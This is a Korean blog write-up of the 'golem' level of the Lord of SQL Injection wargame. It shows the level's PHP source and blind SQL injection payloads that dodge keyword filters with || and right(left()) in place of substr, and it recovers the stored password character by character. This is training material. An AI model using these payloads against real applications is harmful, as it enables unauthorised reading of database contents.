본문 바로가기

웹/LOS

LOS # golem

728x90
반응형
SMALL

쿼리문!

query : select id from prob_golem where id='guest' and pw=''

 

코드를 분석해보자.

 

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 

// pw를 입력받을 때 역시나 문자를 필터링하고 있다.

-> or, and, substr

or ->||

and -> &&


  
$query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"

// 참인 조건문이 들어가게 되면 Hello {$result[id]} 라는 문자열이 출력되는 것 같다.

 

 

(참고로 이전에 풀었던 문제에서도 비슷한 코드가 나왔었다..!

특히, 이 문제에서는 이 조건문을 매우 유용하게 사용하여 문제를 해결했었다.

궁금하다면 밑의 블로그 주소의 풀이를 참고해보자.)

2myona.tistory.com/82

 

Lord of SQL Injection # orge

query : select id from prob_orge where id='guest' and pw='' 쿼리문은 이렇게 나와있다. pw를 찾으면 되는 문제인듯! php코드이구... 코드를 일단 간단하게 분석해보쟈.

2myona.tistory.com

 $_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

// 입력받은 pw이 정해진 pw값과 같아야 문제가 해결된다.


  
highlight_file(__FILE__); 
?>

 

결국 정해진 pw를 찾아야 하는 것이다!

위의 블로그, LOS의 orge 문제와 거의 유사한 방법으로 풀어봤다.

 

먼저 length() 함수를 이용해 pw의 길이를 구해줬다.

참인 조건이 들어가면 Hello 'id값'이 출력된다는 성질을 이용했다.

 

?pw=null%27||length(pw)<10%23

처음에는 이렇게 입력해주었는데, 위의 사진처럼 참인 조건이라고 인식이 되었다.

 

이 10을 하나씩 줄여가면서 pw의 길이를 구하면 된다.

 

 

9로 바꿔봤다.

 

8로 바꿔봤는데, 거짓인 조건으로 인식이 되었다.

 

그러므로, pw의 길이는 8인 것을 알 수 있다.

 

이제 상세한 pw 값을 구해보자.

 

그러나, 이 문제에서는 substr을 사용할 수 없다!

그러므로, 이제부터는 orge 문제와는 다른 방법을 사용해야 한다.

 

substr을 필터링 우회해주면 된다.

 

right(left(pw,1),1)

substr(pw,1,1)

 

이 둘은 같은 의미이다.

 

 

<left/right() 함수>

 

left() : 왼쪽부터 입력한 길이만큼의 문자열을 자르는 함수

right() : 오른쪽부터 입력한 길이만큼의 문자열을 자르는 함수

 

사용 형식

: left(추출할 문자열, 길이)

right(추출할 문자열, 길이)

 

 

그러므로, 

 

?pw=null%27||ascii(right(left(pw,1),1))<100%23

 

이런식으로 써주면 된다.

 

역시 100을 바꿔가며 아스키값을 찾으면 된다.

 

50을 입력해주니 거짓이 나온다...

이런식으로 8개의 값을 찾아주면 될 것 같다!

 

(매우 귀찮지만 은근 얼마 안걸림..)

 

55

55

100

 

예를 들어, 

3번째 자리 아스키값은 위와 같이 찾아주면 된다.

 

?pw=null%27||ascii(right(left(pw,3),1))<100%23

 

이제 나머지도 찾아주자.

 

54

50

57

48

98

 

이 아스키 값을 텍스트로 바꾸면

77d6290b 

이렇게 된다.

 

이를 입력해주면 

문제가 해결된다!!

 

 

728x90
LIST

' > LOS' 카테고리의 다른 글

LOS # bugbear  (0) 2021.03.28
LOS # darknight  (0) 2021.03.16
LOS # skeleton  (0) 2021.03.13
LOS # vampire  (0) 2021.03.13
Lord of SQL Injection # troll  (0) 2021.03.13